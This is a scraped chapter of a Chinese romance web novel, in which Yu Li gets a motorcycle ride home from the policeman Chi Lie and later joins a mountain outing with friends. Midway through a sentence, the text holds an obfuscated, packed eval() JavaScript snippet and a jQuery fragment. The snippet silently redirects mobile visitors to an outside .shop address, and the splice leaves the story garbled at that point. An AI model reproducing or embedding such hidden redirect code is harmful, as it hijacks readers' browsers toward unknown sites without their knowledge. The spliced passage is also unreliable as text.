喻里下意识想要否认。
但是转念一想,她和他也不是这样的关系,笑了笑,没有解释。
她继续在酒吧里寻找方茜,转了一圈在酒吧外面的花台上看到了她,方茜耷拉着脑袋,微卷的头发挡住了脸,看不清表情,周屿蹲在方茜面前,不知说到了什么,方茜忽然捂住了自己的脸,周屿笑了一下,忽然闭着眼睛,仰起了头,朝着方茜的脸贴近。
方茜的头发挡住了。
喻里不确定亲到没有,不自觉换了一下位置,挪到了迟烈前面。
迟烈一直以为她是那种对别人的八卦没有兴趣的人,不由打量着她,“在看什么?”
喻里连忙转身,下意识想去捂他的嘴,然而就在她双手抬起的刹那,两个人同时反应过来,不约而同往后退了一步。
迟烈一如既往的镇定:“干什么?”
喻里向他做了一个噤声的手势,“人家亲亲呢,你声音那么大干什么?”
迟烈顿时意识到她刚才垫脚是在看什么,不由勾起唇角泛起一抹嗤笑:“没看过人亲?”
喻里:“……”
迟烈显然对别人的事没什么兴趣,“我要走了,你走吗?”
“走。”喻里立刻回道。
他拿出手机给周屿发了条微信,把手机塞进外套口袋,径直往前走去。
喻里跟在他身后道:“你们怎么跑这儿来了?”
迟烈面无表情地平视着前方:“帮周屿找人。”
喻里不解,方茜不是好好在哪儿吗?有什么好找的?
“什么意思?”
迟烈对讲别人的事也没兴趣,“你上班的时候去问她吧。”
喻里大失所望,这人嘴也太严了,听说他们这行每天都能听到不少八卦,他但凡嘴碎点儿,喻里觉得能和他畅聊到天亮。
喻里太久没见到他了,与他也并不熟悉。
他不说话,她也不知道说什么,不知不觉就和他落了一个身位。
深夜的街道已经没有什么行人了,周围的商店也基本熄灯闭店,只有屹立在红墙后的千年古刹还泛着光,在湖面投下古悠的倒影。
这条街建好这么久,喻里还一次都没来逛过,没想到第一次逛这条街居然是和迟烈。
虽然他可能并不这样认为。
迟烈走得快,喻里渐渐有些跟不上了。
她试图追上他,过了一会儿,把自己累得够呛,不由提出抗议:“迟警官,你可以走慢一点儿吗?”
他微微侧过头,停下了脚步。
喻里再度跟上来,他才继续往前走道:“不用叫我警官,我今天不执勤。”
“那叫什么?”喻里汗都快走出来了,说话也越发不经过大脑,到了嘴边便直接问了出去。
“迟烈。”
“老公?”
两个人的声音同时响起。
迟烈难以置信地回过头,喻里也没想到他居然不是在调侃她,而是认真在和她介绍自己的名字。
喻里的脸上有刹那的尴尬,但也立刻为自己的唐突找到了借口:“谁叫你刚才笑我的?”
“我笑你什么了?”他略微思索,更理所当然:“不应该笑吗?”
“对,我没见过世面,没见过别人亲嘴,你见过世面——”
“我也没看过。”迟烈打断道。
“那你……”
“也不爱看。”
“你不爱看,也不让我看?”
“我可没有不让你看,我只是问你走不走。”迟烈纠正道。
喻里:“……”
她猛地停下脚步:“你是不是觉得自己这样说话挺幽默的?”
迟烈回头看向她,盯着一张没有任何表情的脸问道:“我现在说话不吸引人了?”
喻里:“……”
她微微沉吟,还是鼓起勇气开口道:“对!非常没有吸引力!”
“那对你来说,不应该挺好的吗?”迟烈气定神闲:“这样不会想着让我当你老公,连话都不让我和你说。”
喻里:“……”
他要是不提,喻里都快忘了这件事。
“对!不想给我当老公,你就继续保持,不要和我说话。”
迟烈收回视线,真的不再和她说话。
喻里:“……”
这个人真是连沉默都这么气人。
她恨得牙痒痒,也不管这个背影走得好不好看了,冷不丁撞出跌倒的样子,直直撞上了他的背。
他却连踉跄都没有,径直转过身:“干什么?”
喻里:“……”
“你今天喝了多少?”迟烈难得主动关心她道。
没喝。
一点儿都没喝。
但是喻里不好意思说自己没喝。
喻里躲开他的视线,开始装死。
“走路的时候小心点儿。”他放缓了脚步,走到了她的旁边。
喻里不知道这段路对他而言是否漫长,但是对于喻里来说,这条路一点儿都不长,甚至过于短暂。
她抬起头,“有月亮诶。”
迟烈顺着她的视线看去,“嗯。”
走出商业街,喻里正准备扫共享单车,迟烈的脸忽然探了过来,“你不是喝酒了?”
喻里猛地站了起来。
差点儿把这茬儿给忘了。
“上车,我送你。”迟烈坐上自己的摩托车,拍了一下身后的后座。
喻里盯着他外套下的腰,忽然想起了那天在老太太家门口的手感,不自觉抿着嘴唇,低下了头。
迟烈戴上头盔,见她还没有动静,不由掀开护镜道:“又打车了?”
“没有。”喻里双唇紧抿,扶着他的肩膀,踩上摩托车的踏板,然而她过于激动,并没有站稳,不禁“哎哟”一声,往旁边晃去。
迟烈听到她的声音就知道情况不妙,反手虚扶住她的腰,用背接住了她。
喻里撑扶在他隆起的肩胛线条,第一反应是抑制不住的地笑了,忽然就明白了方茜在泳池的无力感。
迟烈只当是她喝醉了。
尽管她的身上闻不到任何酒味,他也只当是她酒量不好,喝点就醉,也不敢让她自己上车了,确定她完全坐好以后才松开手。
喻里第一次坐这种机车,完全不知道手该放哪里。
按道理说,她的手应该是穿过他的腰,扶着他前面的机箱,然而迟烈直接握着她的手,抱住了他的腰。
喻里没有准备,双手环住他腰的那一刻,整个人也撞上了他的背。
迟烈的脑子里没有一丝邪念,只有对她人身安全的负责。
“抱紧我。”
喻里隔着头顶,轻不可闻地应了一声。
她的脸都快红炸了。
她知道迟烈只是以为她喝酒了,担心她从车上摔下去,可是她能清楚感觉到他衣衫下绷起的肌肉线条。
不行。
好想笑。
喻里隔着头盔将脸埋在他的肩上。
他以为她是在为这个姿势难受到了,“放心,我会骑得很慢,不会把你摔下来的。”
“……”喻里忍了又忍,才从嗓子眼里掏出一个比较正确的发音:“嗯。”
风,温柔的从她身侧吹过。
她脑袋上的头盔也是全新的,不仅没有异味,连标签也是崭新的,可见从配套的时候,就没有被使用过。
喻里知道这不是属于她的幸福,她和他的人生在今天过后,也应该很难再有像今天这样的交集。
这种感觉太微妙了。
像是偷到了属于某个未来女孩的体验卡。
可她依然为这短短的几分钟而感到雀跃。
雀跃到让人想流眼泪。
喻里此刻已经分不清自己对他到底是欣赏还是喜欢,但是都不重要了。
因为对她而言,结果都是一样的,过程更重要。
拥有过这十分钟就好了。
等摩托车在小区前停下的时候,喻里已经收拾好了情绪,取下头盔的脸上还透着未淡去的羞红。
她尚未完全从刚才的幸福中抽离,脱口而出道:“谢谢老公。”
迟烈:“?”
隔着头盔都能感觉到他的疑惑。
喻里意识到自己又说错了,连忙捂着嘴摆了摆手,“不是,迟警官。”
迟烈知道她喝了酒,也没有和她计较,取掉头盔问道:“自己能上去吗?”
喻里听出他话里的深意,连忙摆了摆手,原本已经淡去的羞红,再度窜了起来。
“我没问题,你回去的时候慢点儿。”
她光是想到迟烈把她送到门口的画面,脑海中就忍不住的浮想联翩。
都到门口了,她很难不邀请他进去坐一下的,依他的性格应该不会进去,可谁也不能保证,她还把持的住。
谁知道她又会说出什么样的胡话呢?
所以到这就好了,免得再做出什么,连朋友都做不了。他这么好的人,当不了恋人,当朋友也是一种幸运。
“你确定吗?”迟烈并不放心。
“我确定,我确定,”喻里捂着脸,叫醒守门的大娘,给了五块钱的开门费,朝着他挥了挥手,“今天谢谢你了,再见。”
“嗯。”迟烈一如既往地淡定,等到她进去,铁门上的小门彻底关上,才重新转动钥匙离开。
*
喻里不记得自己夜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17801664|210591||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
里梦到了什么,但是醒来的时候,心情特别好,人看起来也有精神,连气色都好了不少。
上班的时候,就连方茜都诧异于她的变化:“喻老师,你最近在补血吗?感觉你气色好了不少。”
喻里打量着她,“你也不差。”
方茜没察觉到她说的“也”,只当她在调侃自己,一巴掌拍在她的肩上,佯作生气,脸上却是绷不住的笑意:“你那天晚上什么时候走的啊?我找了好一会儿都没找到你人。”
喻里对她找过这件事存疑,挑了挑眉:“真的?”
方茜其实也不太记得那天晚上的事,心虚地笑了笑:“那你怎么走的啊?”
“骑车走的。”喻里面不改色地回道。
“迟烈居然都没送过你吗?”方茜大为吃惊,这人真是,脾气不好就算了,还这么不绅士。
喻里没有为迟烈的名声做任何辩驳。
不然名声出问题的就要是她了。
“对了,周屿那天好像不知道你在喝酒。”喻里很好奇,迟烈和周屿是怎么会出现在那里。
“嗯,”说起这件事,方茜就更心虚了,“我骗他说我睡了,连他电话都没接,谁知道,他居然碰到我妈。”
“他见过你妈了?”
“没正式见过,”方茜摇了摇头:“我和我妈在街上散步的时候遇见过,但是我妈还不知道我们的事。”
“其实你俩发展还挺快的。”喻里回忆一起,不由感叹道。
明明一起去游泳还像是昨天的事,周屿居然连她|妈都见过了。
“嗯,”方茜似乎也有顾虑,脸上出现了刹那的迟疑,没有继续深谈他们如何在一起的事,“然后他给我电话,我又没接。他就担心我出什么事,全江州找我,但我觉得他不是担心我,就是单纯的想抓我。”
“那迟烈怎么和他一块儿的?”
说起这件事,她就忍不住长长吸了口气,“他找不到我,就把迟烈叫来一起找我,不得不说,他俩加在一起效率就是快,还真推算出我可能会在哪里。”
难怪周屿找到方茜的时候,会是那种表情。
也就迟烈不爱说话,不然光是这件事,她都和他畅聊到天亮。
“哦。”喻里终于明白了事情的来龙去脉。
“迟烈……”方茜实在没想到喻里和迟烈的关系能差成这样,“一点儿都没跟你说过吗?”
喻里诚实地摇了摇头。
方茜本就放弃撮合他们的心,顿时死都不能再死了,看来不止是喻里对他没有兴趣,他对喻里亦然。
算了。
强扭的瓜不甜,她也不扭了。
方茜想到这儿也释怀了。
她不再执着于撮合两个人,反而能更坦然接受两个人的不亲近。
十月,金秋。
方茜和周屿决定出去爬山,前者自然的叫上了喻里,后者自然的叫上了迟烈。
喻里和迟烈不约而同的拒绝。
这种电灯泡,谁乐意当谁当,他俩都不愿意当。
可是盛情难却。
方茜以喻里应该多接触大自然为由,反复游说她,听到还会有周屿的其他的朋友,不会只有她一个电灯泡,喻里也松了口气,同意和她一起出行。
周屿则是以所长让他多照顾迟烈为由,强行拉着迟烈出门。
那种没有分寸感的,宛如入室抢劫般的友情。
迟烈也被迫上了他的车。
他上车以后,闭上眼睛就睡,对任何的社交都没有兴趣,直到他在副驾驶的后座听到喻里的声音,他依旧是那张没有什么表情的脸,但是眼睛慢慢睁开了来。
喻里也不知道他在,只是在和方茜说自己带了什么东西,得到方茜的答复以后,便再无下文。
周屿驾车驶出江州,穿过高速的隧道,周围的山瞬间变得又高又陡,雾气弥漫在山顶,四下都萦绕在湿润的绿意之中。
等途径第一个服务站的时候,迟烈才故意走下了车,让喻里发现了他的存在。
然而他不知道,喻里在上车前就已经看到他了,她见到他的第一反应不是惊讶,反倒是松了口气。
终于不是她一个电灯泡了。
这个电灯泡比她高,比她壮,比她显眼,怎么都是他更亮。
迟烈也看出了,熄灭了手里的烟,眯着眼睛问道:“不意外?”
“我上车的时候就已经看到你了。”喻里如实回道。
迟烈眉梢微挑:“那怎么没叫我?”
喻里脱口而出:“叫什么?”
迟烈:“……”
他的表情有片刻的迟钝,不知是不是和她想到了同样的东西,两个都陷入了微妙短暂的沉默。